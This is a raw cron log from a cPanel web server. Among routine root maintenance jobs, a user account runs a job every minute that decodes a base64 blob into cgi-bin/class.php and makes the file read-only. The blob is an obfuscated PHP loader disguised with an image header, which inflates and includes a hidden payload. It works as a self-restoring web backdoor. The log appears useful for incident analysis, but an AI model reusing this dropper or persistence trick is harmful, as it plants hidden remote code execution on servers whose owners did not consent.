Sep  2 17:08:01 server CROND[2968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:08:01 server CROND[2969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:09:01 server CROND[3346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:09:01 server CROND[3345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:09:01 server CROND[3347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:09:01 server CROND[3349]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 17:10:01 server CROND[3839]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:10:01 server CROND[3843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:10:01 server CROND[3845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:10:01 server CROND[3848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:10:01 server CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:10:01 server CROND[3844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:10:01 server CROND[3847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:10:01 server CROND[3850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:11:01 server CROND[4674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:11:01 server CROND[4675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:11:01 server CROND[4676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:12:01 server CROND[5062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:12:01 server CROND[5063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:12:01 server CROND[5064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:12:01 server CROND[5065]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:13:01 server CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:13:01 server CROND[5476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:13:01 server CROND[5477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:14:01 server CROND[5844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:14:01 server CROND[5845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:14:01 server CROND[5846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:15:01 server CROND[6318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:15:01 server CROND[6319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:15:01 server CROND[6320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:15:01 server CROND[6328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:15:01 server CROND[6333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:15:01 server CROND[6331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:15:01 server CROND[6332]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:15:01 server CROND[6329]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 17:16:01 server CROND[7209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:16:01 server CROND[7210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:16:01 server CROND[7211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:17:01 server CROND[7578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:17:01 server CROND[7579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:17:01 server CROND[7580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:18:01 server CROND[7951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:18:01 server CROND[7952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:18:01 server CROND[7953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:19:01 server CROND[8359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:19:01 server CROND[8360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:19:01 server CROND[8361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:20:01 server CROND[8855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:20:01 server CROND[8856]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:20:01 server CROND[8861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
